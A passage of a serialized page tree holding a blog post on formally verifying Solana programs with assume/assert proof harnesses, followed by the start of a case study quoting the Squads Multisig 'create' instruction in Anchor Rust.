as:",{"type":23,"tag":168,"props":22068,"children":22069},{},[22070,22106],{"type":23,"tag":135,"props":22071,"children":22072},{},[22073,22100,22101],{"type":23,"tag":209,"props":22074,"children":22076},{"className":22075},[4076,4077],[22077],{"type":23,"tag":213,"props":22078,"children":22080},{"className":22079},[4082],[22081],{"type":23,"tag":213,"props":22082,"children":22084},{"className":22083,"ariaHidden":1710},[4087],[22085],{"type":23,"tag":213,"props":22086,"children":22088},{"className":22087},[4092],[22089,22093],{"type":23,"tag":213,"props":22090,"children":22092},{"className":22091,"style":21632},[4097],[],{"type":23,"tag":213,"props":22094,"children":22097},{"className":22095,"style":22096},[4103,21637],"margin-right:0.05764em;",[22098],{"type":28,"value":22099},"S",{"type":28,"value":15390},{"type":23,"tag":209,"props":22102,"children":22104},{"className":22103},[],[22105],{"type":28,"value":20209},{"type":23,"tag":135,"props":22107,"children":22108},{},[22109,22135,22136],{"type":23,"tag":209,"props":22110,"children":22112},{"className":22111},[4076,4077],[22113],{"type":23,"tag":213,"props":22114,"children":22116},{"className":22115},[4082],[22117],{"type":23,"tag":213,"props":22118,"children":22120},{"className":22119,"ariaHidden":1710},[4087],[22121],{"type":23,"tag":213,"props":22122,"children":22124},{"className":22123},[4092],[22125,22129],{"type":23,"tag":213,"props":22126,"children":22128},{"className":22127,"style":21632},[4097],[],{"type":23,"tag":213,"props":22130,"children":22132},{"className":22131,"style":22096},[4103,21637],[22133],{"type":28,"value":22134},"E",{"type":28,"value":15390},{"type":23,"tag":209,"props":22137,"children":22139},{"className":22138},[],[22140],{"type":28,"value":20216},{"type":23,"tag":24,"props":22142,"children":22143},{},[22144,22146,22173,22175,22180,22182,22188],{"type":28,"value":22145},"And ",{"type":23,"tag":209,"props":22147,"children":22149},{"className":22148},[4076,4077],[22150],{"type":23,"tag":213,"props":22151,"children":22153},{"className":22152},[4082],[22154],{"type":23,"tag":213,"props":22155,"children":22157},{"className":22156,"ariaHidden":1710},[4087],[22158],{"type":23,"tag":213,"props":22159,"children":22161},{"className":22160},[4092],[22162,22166],{"type":23,"tag":213,"props":22163,"children":22165},{"className":22164,"style":21632},[4097],[],{"type":23,"tag":213,"props":22167,"children":22170},{"className":22168,"style":22169},[4103,21637],"margin-right:0.07153em;",[22171],{"type":28,"value":22172},"K",{"type":28,"value":22174}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":209,"props":22176,"children":22178},{"className":22177},[],[22179],{"type":28,"value":20543},{"type":28,"value":22181}," not an ",{"type":23,"tag":209,"props":22183,"children":22185},{"className":22184},[],[22186],{"type":28,"value":22187},"Err",{"type":28,"value":20796},{"type":23,"tag":24,"props":22190,"children":22191},{},[22192],{"type":28,"value":22193},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":9693,"props":22195,"children":22197},{"id":22196},"account-invariants-1",[22198],{"type":28,"value":22199},"Account invariants",{"type":23,"tag":24,"props":22201,"children":22202},{},[22203,22205,22236,22238,22268,22270,22300],{"type":28,"value":22204},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":209,"props":22206,"children":22208},{"className":22207},[4076,4077],[22209],{"type":23,"tag":213,"props":22210,"children":22212},{"className":22211},[4082],[22213],{"type":23,"tag":213,"props":22214,"children":22216},{"className":22215,"ariaHidden":1710},[4087],[22217],{"type":23,"tag":213,"props":22218,"children":22220},{"className":22219},[4092],[22221,22225,22231],{"type":23,"tag":213,"props":22222,"children":22224},{"className":22223,"style":21632},[4097],[],{"type":23,"tag":213,"props":22226,"children":22228},{"className":22227},[4103],[22229],{"type":28,"value":22230},"¬",{"type":23,"tag":213,"props":22232,"children":22234},{"className":22233,"style":22169},[4103,21637],[22235],{"type":28,"value":22172},{"type":28,"value":22237},") or the account post-invariants should hold (",{"type":23,"tag":209,"props":22239,"children":22241},{"className":22240},[4076,4077],[22242],{"type":23,"tag":213,"props":22243,"children":22245},{"className":22244},[4082],[22246],{"type":23,"tag":213,"props":22247,"children":22249},{"className":22248,"ariaHidden":1710},[4087],[22250],{"type":23,"tag":213,"props":22251,"children":22253},{"className":22252},[4092],[22254,22258,22263],{"type":23,"tag":213,"props":22255,"children":22257},{"className":22256,"style":21632},[4097],[],{"type":23,"tag":213,"props":22259,"children":22261},{"className":22260,"style":21638},[4103,21637],[22262],{"type":28,"value":21641},{"type":23,"tag":213,"props":22264,"children":22266},{"className":22265},[4103],[22267],{"type":28,"value":4106},{"type":28,"value":22269},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":209,"props":22271,"children":22273},{"className":22272},[4076,4077],[22274],{"type":23,"tag":213,"props":22275,"children":22277},{"className":22276},[4082],[22278],{"type":23,"tag":213,"props":22279,"children":22281},{"className":22280,"ariaHidden":1710},[4087],[22282],{"type":23,"tag":213,"props":22283,"children":22285},{"className":22284},[4092],[22286,22290,22295],{"type":23,"tag":213,"props":22287,"children":22289},{"className":22288,"style":21632},[4097],[],{"type":23,"tag":213,"props":22291,"children":22293},{"className":22292,"style":21638},[4103,21637],[22294],{"type":28,"value":21641},{"type":23,"tag":213,"props":22296,"children":22298},{"className":22297},[4103],[22299],{"type":28,"value":4116},{"type":28,"value":22301},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":24,"props":22303,"children":22304},{},[22305,22307],{"type":28,"value":22306},"So we are trying to prove that ",{"type":23,"tag":209,"props":22308,"children":22310},{"className":22309},[4076,4077],[22311],{"type":23,"tag":213,"props":22312,"children":22314},{"className":22313},[4082],[22315],{"type":23,"tag":213,"props":22316,"children":22318},{"className":22317,"ariaHidden":1710},[4087],[22319,22356,22388],{"type":23,"tag":213,"props":22320,"children":22322},{"className":22321},[4092],[22323,22327,22332,22337,22342,22346,22352],{"type":23,"tag":213,"props":22324,"children":22326},{"className":22325,"style":4205},[4097],[],{"type":23,"tag":213,"props":22328,"children":22330},{"className":22329},[21766],[22331],{"type":28,"value":265},{"type":23,"tag":213,"props":22333,"children":22335},{"className":22334,"style":21638},[4103,21637],[22336],{"type":28,"value":21641},{"type":23,"tag":213,"props":22338,"children":22340},{"className":22339},[4103],[22341],{"type":28,"value":4116},{"type":23,"tag":213,"props":22343,"children":22345},{"className":22344,"style":4185},[4184],[],{"type":23,"tag":213,"props":22347,"children":22349},{"className":22348},[4190],[22350],{"type":28,"value":22351},"∧",{"type":23,"tag":213,"props":22353,"children":22355},{"className":22354,"style":4185},[4184],[],{"type":23,"tag":213,"props":22357,"children":22359},{"className":22358},[4092],[22360,22364,22369,22374,22378,22384],{"type":23,"tag":213,"props":22361,"children":22363},{"className":22362,"style":4205},[4097],[],{"type":23,"tag":213,"props":22365,"children":22367},{"className":22366,"style":22169},[4103,21637],[22368],{"type":28,"value":22172},{"type":23,"tag":213,"props":22370,"children":22372},{"className":22371},[21788],[22373],{"type":28,"value":2121},{"type":23,"tag":213,"props":22375,"children":22377},{"className":22376,"style":4282},[4184],[],{"type":23,"tag":213,"props":22379,"children":22381},{"className":22380},[4287],[22382],{"type":28,"value":22383},"→",{"type":23,"tag":213,"props":22385,"children":22387},{"className":22386,"style":4282},[4184],[],{"type":23,"tag":213,"props":22389,"children":22391},{"className":22390},[4092],[22392,22396,22401],{"type":23,"tag":213,"props":22393,"children":22395},{"className":22394,"style":21632},[4097],[],{"type":23,"tag":213,"props":22397,"children":22399},{"className":22398,"style":21638},[4103,21637],[22400],{"type":28,"value":21641},{"type":23,"tag":213,"props":22402,"children":22404},{"className":22403},[4103],[22405],{"type":28,"value":4106},{"type":23,"tag":24,"props":22407,"children":22408},{},[22409],{"type":28,"value":22410},"We can construct a proof harness like the following:",{"type":23,"tag":202,"props":22412,"children":22414},{"code":22413,"language":19514,"meta":7,"className":19515,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[22415],{"type":23,"tag":209,"props":22416,"children":22417},{"__ignoreMap":7},[22418,22426,22443],{"type":23,"tag":213,"props":22419,"children":22420},{"class":215,"line":216},[22421],{"type":23,"tag":213,"props":22422,"children":22423},{"style":220},[22424],{"type":28,"value":22425},"assume(P0)\n",{"type":23,"tag":213,"props":22427,"children":22428},{"class":215,"line":226},[22429,22434,22438],{"type":23,"tag":213,"props":22430,"children":22431},{"style":220},[22432],{"type":28,"value":22433},"res ",{"type":23,"tag":213,"props":22435,"children":22436},{"style":274},[22437],{"type":28,"value":3190},{"type":23,"tag":213,"props":22439,"children":22440},{"style":220},[22441],{"type":28,"value":22442}," instruction_handler(...)\n",{"type":23,"tag":213,"props":22444,"children":22445},{"class":215,"line":524},[22446,22450,22454,22459,22464,22469],{"type":23,"tag":213,"props":22447,"children":22448},{"style":1362},[22449],{"type":28,"value":20038},{"type":23,"tag":213,"props":22451,"children":22452},{"style":220},[22453],{"type":28,"value":265},{"type":23,"tag":213,"props":22455,"children":22457},{"style":22456},"--shiki-default:#F44747",[22458],{"type":28,"value":20675},{"type":23,"tag":213,"props":22460,"children":22461},{"style":220},[22462],{"type":28,"value":22463},"K ",{"type":23,"tag":213,"props":22465,"children":22466},{"style":22456},[22467],{"type":28,"value":22468},"||",{"type":23,"tag":213,"props":22470,"children":22471},{"style":220},[22472],{"type":28,"value":22473}," P1)\n",{"type":23,"tag":24,"props":22475,"children":22476},{},[22477],{"type":28,"value":22478},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":9693,"props":22480,"children":22482},{"id":22481},"positive-instruction-invariant",[22483],{"type":28,"value":22484},"Positive instruction invariant",{"type":23,"tag":24,"props":22486,"children":22487},{},[22488,22490,22496,22498,22549],{"type":28,"value":22489},"Next we need to prove that ",{"type":23,"tag":209,"props":22491,"children":22493},{"className":22492},[],[22494],{"type":28,"value":22495},"success_if",{"type":28,"value":22497}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":209,"props":22499,"children":22501},{"className":22500},[4076,4077],[22502],{"type":23,"tag":213,"props":22503,"children":22505},{"className":22504},[4082],[22506],{"type":23,"tag":213,"props":22507,"children":22509},{"className":22508,"ariaHidden":1710},[4087],[22510,22536],{"type":23,"tag":213,"props":22511,"children":22513},{"className":22512},[4092],[22514,22518,22523,22527,22532],{"type":23,"tag":213,"props":22515,"children":22517},{"className":22516,"style":21632},[4097],[],{"type":23,"tag":213,"props":22519,"children":22521},{"className":22520,"style":22096},[4103,21637],[22522],{"type":28,"value":22099},{"type":23,"tag":213,"props":22524,"children":22526},{"className":22525,"style":4282},[4184],[],{"type":23,"tag":213,"props":22528,"children":22530},{"className":22529},[4287],[22531],{"type":28,"value":22383},{"type":23,"tag":213,"props":22533,"children":22535},{"className":22534,"style":4282},[4184],[],{"type":23,"tag":213,"props":22537,"children":22539},{"className":22538},[4092],[22540,22544],{"type":23,"tag":213,"props":22541,"children":22543},{"className":22542,"style":21632},[4097],[],{"type":23,"tag":213,"props":22545,"children":22547},{"className":22546,"style":22169},[4103,21637],[22548],{"type":28,"value":22172},{"type":28,"value":124},{"type":23,"tag":24,"props":22551,"children":22552},{},[22553],{"type":28,"value":22554},"Just like before we can construct a proof harness:",{"type":23,"tag":202,"props":22556,"children":22558},{"code":22557,"language":19514,"meta":7,"className":19515,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[22559],{"type":23,"tag":209,"props":22560,"children":22561},{"__ignoreMap":7},[22562,22570,22585],{"type":23,"tag":213,"props":22563,"children":22564},{"class":215,"line":216},[22565],{"type":23,"tag":213,"props":22566,"children":22567},{"style":220},[22568],{"type":28,"value":22569},"assume(S)\n",{"type":23,"tag":213,"props":22571,"children":22572},{"class":215,"line":226},[22573,22577,22581],{"type":23,"tag":213,"props":22574,"children":22575},{"style":220},[22576],{"type":28,"value":22433},{"type":23,"tag":213,"props":22578,"children":22579},{"style":274},[22580],{"type":28,"value":3190},{"type":23,"tag":213,"props":22582,"children":22583},{"style":220},[22584],{"type":28,"value":22442},{"type":23,"tag":213,"props":22586,"children":22587},{"class":215,"line":524},[22588,22592],{"type":23,"tag":213,"props":22589,"children":22590},{"style":1362},[22591],{"type":28,"value":20038},{"type":23,"tag":213,"props":22593,"children":22594},{"style":220},[22595],{"type":28,"value":22596},"(K)\n",{"type":23,"tag":24,"props":22598,"children":22599},{},[22600,22602,22607,22609,22621],{"type":28,"value":22601},"This proof assures that whenever ",{"type":23,"tag":209,"props":22603,"children":22605},{"className":22604},[],[22606],{"type":28,"value":20209},{"type":28,"value":22608}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":87,"props":22610,"children":22611},{},[22612,22614,22619],{"type":28,"value":22613},"even if ",{"type":23,"tag":209,"props":22615,"children":22617},{"className":22616},[],[22618],{"type":28,"value":20209},{"type":28,"value":22620}," is not satisfied",{"type":28,"value":22622},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":9693,"props":22624,"children":22626},{"id":22625},"_3-negative-instruction-invariant",[22627],{"type":28,"value":22628},"3. Negative instruction invariant",{"type":23,"tag":24,"props":22630,"children":22631},{},[22632,22634,22639,22641,22697],{"type":28,"value":22633},"Finally, we want to prove that ",{"type":23,"tag":209,"props":22635,"children":22637},{"className":22636},[],[22638],{"type":28,"value":20216},{"type":28,"value":22640}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":209,"props":22642,"children":22644},{"className":22643},[4076,4077],[22645],{"type":23,"tag":213,"props":22646,"children":22648},{"className":22647},[4082],[22649],{"type":23,"tag":213,"props":22650,"children":22652},{"className":22651,"ariaHidden":1710},[4087],[22653,22679],{"type":23,"tag":213,"props":22654,"children":22656},{"className":22655},[4092],[22657,22661,22666,22670,22675],{"type":23,"tag":213,"props":22658,"children":22660},{"className":22659,"style":21632},[4097],[],{"type":23,"tag":213,"props":22662,"children":22664},{"className":22663,"style":22096},[4103,21637],[22665],{"type":28,"value":22134},{"type":23,"tag":213,"props":22667,"children":22669},{"className":22668,"style":4282},[4184],[],{"type":23,"tag":213,"props":22671,"children":22673},{"className":22672},[4287],[22674],{"type":28,"value":22383},{"type":23,"tag":213,"props":22676,"children":22678},{"className":22677,"style":4282},[4184],[],{"type":23,"tag":213,"props":22680,"children":22682},{"className":22681},[4092],[22683,22687,22692],{"type":23,"tag":213,"props":22684,"children":22686},{"className":22685,"style":21632},[4097],[],{"type":23,"tag":213,"props":22688,"children":22690},{"className":22689},[4103],[22691],{"type":28,"value":22230},{"type":23,"tag":213,"props":22693,"children":22695},{"className":22694,"style":22169},[4103,21637],[22696],{"type":28,"value":22172},{"type":28,"value":124},{"type":23,"tag":24,"props":22699,"children":22700},{},[22701],{"type":28,"value":22702},"This harness looks just like the previous one:",{"type":23,"tag":202,"props":22704,"children":22706},{"code":22705,"language":19514,"meta":7,"className":19515,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[22707],{"type":23,"tag":209,"props":22708,"children":22709},{"__ignoreMap":7},[22710,22718,22733],{"type":23,"tag":213,"props":22711,"children":22712},{"class":215,"line":216},[22713],{"type":23,"tag":213,"props":22714,"children":22715},{"style":220},[22716],{"type":28,"value":22717},"assume(E)\n",{"type":23,"tag":213,"props":22719,"children":22720},{"class":215,"line":226},[22721,22725,22729],{"type":23,"tag":213,"props":22722,"children":22723},{"style":220},[22724],{"type":28,"value":22433},{"type":23,"tag":213,"props":22726,"children":22727},{"style":274},[22728],{"type":28,"value":3190},{"type":23,"tag":213,"props":22730,"children":22731},{"style":220},[22732],{"type":28,"value":22442},{"type":23,"tag":213,"props":22734,"children":22735},{"class":215,"line":524},[22736,22740,22744,22748],{"type":23,"tag":213,"props":22737,"children":22738},{"style":1362},[22739],{"type":28,"value":20038},{"type":23,"tag":213,"props":22741,"children":22742},{"style":220},[22743],{"type":28,"value":265},{"type":23,"tag":213,"props":22745,"children":22746},{"style":22456},[22747],{"type":28,"value":20675},{"type":23,"tag":213,"props":22749,"children":22750},{"style":220},[22751],{"type":28,"value":22752},"K)\n",{"type":23,"tag":24,"props":22754,"children":22755},{},[22756,22758,22762],{"type":28,"value":22757},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":87,"props":22759,"children":22760},{},[22761],{"type":28,"value":16423},{"type":28,"value":22763}," the account invariants we expect are always being preserved.",{"type":23,"tag":47,"props":22765,"children":22767},{"id":22766},"case-study-squads-multisig",[22768],{"type":28,"value":22769},"Case study: Squads Multisig",{"type":23,"tag":24,"props":22771,"children":22772},{},[22773,22775,22780],{"type":28,"value":22774},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":36,"props":22776,"children":22778},{"href":18876,"rel":22777},[40],[22779],{"type":28,"value":18880},{"type":28,"value":124},{"type":23,"tag":24,"props":22782,"children":22783},{},[22784,22786,22792,22794,22800],{"type":28,"value":22785},"The program defines a Multisig account (",{"type":23,"tag":209,"props":22787,"children":22789},{"className":22788},[],[22790],{"type":28,"value":22791},"Ms",{"type":28,"value":22793},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":209,"props":22795,"children":22797},{"className":22796},[],[22798],{"type":28,"value":22799},"threshold",{"type":28,"value":22801}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":24,"props":22803,"children":22804},{},[22805],{"type":28,"value":22806},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":24,"props":22808,"children":22809},{},[22810],{"type":28,"value":22811},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":131,"props":22813,"children":22814},{},[22815,22820,22825,22830],{"type":23,"tag":135,"props":22816,"children":22817},{},[22818],{"type":28,"value":22819},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":135,"props":22821,"children":22822},{},[22823],{"type":28,"value":22824},"Verify threshold requirements",{"type":23,"tag":135,"props":22826,"children":22827},{},[22828],{"type":28,"value":22829},"Verify requirements to remove a member",{"type":23,"tag":135,"props":22831,"children":22832},{},[22833],{"type":28,"value":22834},"Safety guarantees",{"type":23,"tag":9693,"props":22836,"children":22838},{"id":22837},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[22839],{"type":28,"value":22840},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":24,"props":22842,"children":22843},{},[22844,22846,22851],{"type":28,"value":22845},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":209,"props":22847,"children":22849},{"className":22848},[],[22850],{"type":28,"value":20209},{"type":28,"value":22852}," expression.",{"type":23,"tag":24,"props":22854,"children":22855},{},[22856,22858,22863,22865,22871],{"type":28,"value":22857},"Creating a multisig (",{"type":23,"tag":209,"props":22859,"children":22861},{"className":22860},[],[22862],{"type":28,"value":22791},{"type":28,"value":22864},") requires invoking the ",{"type":23,"tag":209,"props":22866,"children":22868},{"className":22867},[],[22869],{"type":28,"value":22870},"create",{"type":28,"value":22872}," instruction:",{"type":23,"tag":202,"props":22874,"children":22876},{"code":22875,"language":205,"meta":7,"className":206,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[22877],{"type":23,"tag":209,"props":22878,"children":22879},{"__ignoreMap":7},[22880,22897,22952,22981,22989,22997,23014,23065,23114,23122,23163,23170,23186,23219,23261,23268,23275,23294,23322,23342,23362,23390,23409,23417,23445,23465,23485,23492,23500,23532,23555,23590,23598,23606,23615,23657,23690,23698,23706,23715,23791,23824,23832,23840,23877,23890,23903,23916,23970,23978],{"type":23,"tag":213,"props":22881,"children":22882},{"class":215,"line":216},[22883,22888,22893],{"type":23,"tag":213,"props":22884,"children":22885},{"style":220},[22886],{"type":28,"value":22887},"#[derive(",{"type":23,"tag":213,"props":22889,"children":22890},{"style":290},[22891],{"type":28,"value":22892},"Accounts",{"type":23,"tag":213,"props":22894,"children":22895},{"style":220},[22896],{"type":28,"value":20313},{"type":23,"tag":213,"props":22898,"children":22899},{"class":215,"line":226},[22900,22905,22909,22913,22918,22922,22926,22931,22935,22939,22943,22947],{"type":23,"tag":213,"props":22901,"children":22902},{"style":220},[22903],{"type":28,"value":22904},"#[instruction(threshold",{"type":23,"tag":213,"props":22906,"children":22907},{"style":274},[22908],{"type":28,"value":277},{"type":23,"tag":213,"props":22910,"children":22911},{"style":290},[22912],{"type":28,"value":21081},{"type":23,"tag":213,"props":22914,"children":22915},{"style":220},[22916],{"type":28,"value":22917},", create_key",{"type":23,"tag":213,"props":22919,"children":22920},{"style":274},[22921],{"type":28,"value":277},{"type":23,"tag":213,"props":22923,"children":22924},{"style":290},[22925],{"type":28,"value":419},{"type":23,"tag":213,"props":22927,"children":22928},{"style":220},[22929],{"type":28,"value":22930},", members",{"type":23,"tag":213,"props":22932,"children":22933},{"style":274},[22934],{"type":28,"value":277},{"type":23,"tag":213,"props":22936,"children":22937},{"style":290},[22938],{"type":28,"value":21439},{"type":23,"tag":213,"props":22940,"children":22941},{"style":220},[22942],{"type":28,"value":434},{"type":23,"tag":213,"props":22944,"children":22945},{"style":290},[22946],{"type":28,"value":1532},{"type":23,"tag":213,"props":22948,"children":22949},{"style":220},[22950],{"type":28,"value":22951},">)]\n",{"type":23,"tag":213,"props":22953,"children":22954},{"class":215,"line":524},[22955,22959,22963,22968,22972,22977],{"type":23,"tag":213,"props":22956,"children":22957},{"style":230},[22958],{"type":28,"value":233},{"type":23,"tag":213,"props":22960,"children":22961},{"style":230},[22962],{"type":28,"value":887},{"type":23,"tag":213,"props":22964,"children":22965},{"style":290},[22966],{"type":28,"value":22967}," Create",{"type":23,"tag":213,"props":22969,"children":22970},{"style":220},[22971],{"type":28,"value":358},{"type":23,"tag":213,"props":22973,"children":22974},{"style":290},[22975],{"type":28,"value":22976},"info",{"type":23,"tag":213,"props":22978,"children":22979},{"style":220},[22980],{"type":28,"value":905},{"type":23,"tag":213,"props":22982,"children":22983},{"class":215,"line":533},[22984],{"type":23,"tag":213,"props":22985,"children":22986},{"style":220},[22987],{"type":28,"value":22988}," #[account(\n",{"type":23,"tag":213,"props":22990,"children":22991},{"class":215,"line":543},[22992],{"type":23,"tag":213,"props":22993,"children":22994},{"style":220},[22995],{"type":28,"value":22996}," init,\n",{"type":23,"tag":213,"props":22998,"children":22999},{"class":215,"line":551},[23000,23005,23009],{"type":23,"tag":213,"props":23001,"children":23002},{"style":220},[23003],{"type":28,"value":23004}," payer ",{"type":23,"tag":213,"props":23006,"children":23007},{"style":274},[23008],{"type":28,"value":3190},{"type":23,"tag":213,"props":23010,"children":23011},{"style":220},[23012],{"type":28,"value":23013}," creator,\n",{"type":23,"tag":213,"props":23015,"children":23016},{"class":215,"line":570},[23017,23022,23026,23030,23034,23039,23043,23048,23052,23056,23060],{"type":23,"tag":213,"props":23018,"children":23019},{"style":220},[23020],{"type":28,"value":23021}," space ",{"type":23,"tag":213,"props":23023,"children":23024},{"style":274},[23025],{"type":28,"value":3190},{"type":23,"tag":213,"props":23027,"children":23028},{"style":290},[23029],{"type":28,"value":21206},{"type":23,"tag":213,"props":23031,"children":23032},{"style":274},[23033],{"type":28,"value":562},{"type":23,"tag":213,"props":23035,"children":23036},{"style":290},[23037],{"type":28,"value":23038},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":213,"props":23040,"children":23041},{"style":274},[23042],{"type":28,"value":8989},{"type":23,"tag":213,"props":23044,"children":23045},{"style":220},[23046],{"type":28,"value":23047}," (members",{"type":23,"tag":213,"props":23049,"children":23050},{"style":274},[23051],{"type":28,"value":124},{"type":23,"tag":213,"props":23053,"children":23054},{"style":220},[23055],{"type":28,"value":21072},{"type":23,"tag":213,"props":23057,"children":23058},{"style":274},[23059],{"type":28,"value":1696},{"type":23,"tag":213,"props":23061,"children":23062},{"style":220},[23063],{"type":28,"value":23064}," 32),\n",{"type":23,"tag":213,"props":23066,"children":23067},{"class":215,"line":655},[23068,23073,23077,23081,23086,23090,23094,23099,23104,23109],{"type":23,"tag":213,"props":23069,"children":23070},{"style":220},[23071],{"type":28,"value":23072}," seeds ",{"type":23,"tag":213,"props":23074,"children":23075},{"style":274},[23076],{"type":28,"value":3190},{"type":23,"tag":213,"props":23078,"children":23079},{"style":220},[23080],{"type":28,"value":469},{"type":23,"tag":213,"props":23082,"children":23083},{"style":246},[23084],{"type":28,"value":23085},"b\"squad\"",{"type":23,"tag":213,"props":23087,"children":23088},{"style":220},[23089],{"type":28,"value":22917},{"type":23,"tag":213,"props":23091,"children":23092},{"style":274},[23093],{"type":28,"value":124},{"type":23,"tag":213,"props":23095,"children":23096},{"style":220},[23097],{"type":28,"value":23098},"as_ref(), ",{"type":23,"tag":213,"props":23100,"children":23101},{"style":246},[23102],{"type":28,"value":23103},"b\"multisig\"",{"type":23,"tag":213,"props":23105,"children":23106},{"style":220},[23107],{"type":28,"value":23108},"], ",{"type":23,"tag":213,"props":23110,"children":23111},{"style":268},[23112],{"type":28,"value":23113},"bump\n",{"type":23,"tag":213,"props":23115,"children":23116},{"class":215,"line":1176},[23117],{"type":23,"tag":213,"props":23118,"children":23119},{"style":220},[23120],{"type":28,"value":23121}," )]\n",{"type":23,"tag":213,"props":23123,"children":23124},{"class":215,"line":1202},[23125,23129,23134,23138,23143,23147,23151,23155,23159],{"type":23,"tag":213,"props":23126,"children":23127},{"style":230},[23128],{"type":28,"value":913},{"type":23,"tag":213,"props":23130,"children":23131},{"style":268},[23132],{"type":28,"value":23133}," multisig",{"type":23,"tag":213,"props":23135,"children":23136},{"style":274},[23137],{"type":28,"value":277},{"type":23,"tag":213,"props":23139,"children":23140},{"style":290},[23141],{"type":28,"value":23142}," Account",{"type":23,"tag":213,"props":23144,"children":23145},{"style":220},[23146],{"type":28,"value":358},{"type":23,"tag":213,"props":23148,"children":23149},{"style":290},[23150],{"type":28,"value":22976},{"type":23,"tag":213,"props":23152,"children":23153},{"style":220},[23154],{"type":28,"value":424},{"type":23,"tag":213,"props":23156,"children":23157},{"style":290},[23158],{"type":28,"value":22791},{"type":23,"tag":213,"props":23160,"children":23161},{"style":220},[23162],{"type":28,"value":6230},{"type":23,"tag":213,"props":23164,"children":23165},{"class":215,"line":1758},[23166],{"type":23,"tag":213,"props":23167,"children":23168},{"emptyLinePlaceholder":18},[23169],{"type":28,"value":530},{"type":23,"tag":213,"props":23171,"children":23172},{"class":215,"line":1767},[23173,23178,23182],{"type":23,"tag":213,"props":23174,"children":23175},{"style":220},[23176],{"type":28,"value":23177}," #[account(",{"type":23,"tag":213,"props":23179,"children":23180},{"style":230},[23181],{"type":28,"value":287},{"type":23,"tag":213,"props":23183,"children":23184},{"style":220},[23185],{"type":28,"value":20313},{"type":23,"tag":213,"props":23187,"children":23188},{"class":215,"line":1789},[23189,23193,23198,23202,23207,23211,23215],{"type":23,"tag":213,"props":23190,"children":23191},{"style":230},[23192],{"type":28,"value":913},{"type":23,"tag":213,"props":23194,"children":23195},{"style":268},[23196],{"type":28,"value":23197}," creator",{"type":23,"tag":213,"props":23199,"children":23200},{"style":274},[23201],{"type":28,"value":277},{"type":23,"tag":213,"props":23203,"children":23204},{"style":290},[23205],{"type":28,"value":23206}," Signer",{"type":23,"tag":213,"props":23208,"children":23209},{"style":220},[23210],{"type":28,"value":358},{"type":23,"tag":213,"props":23212,"children":23213},{"style":290},[23214],{"type":28,"value":22976},{"type":23,"tag":213,"props":23216,"children":23217},{"style":220},[23218],{"type":28,"value":6230},{"type":23,"tag":213,"props":23220,"children":23221},{"class":215,"line":1812},[23222,23226,23231,23235,23240,23244,23248,23252,23257],{"type":23,"tag":213,"props":23223,"children":23224},{"style":230},[23225],{"type":28,"value":913},{"type":23,"tag":213,"props":23227,"children":23228},{"style":268},[23229],{"type":28,"value":23230}," system_program",{"type":23,"tag":213,"props":23232,"children":23233},{"style":274},[23234],{"type":28,"value":277},{"type":23,"tag":213,"props":23236,"children":23237},{"style":290},[23238],{"type":28,"value":23239}," 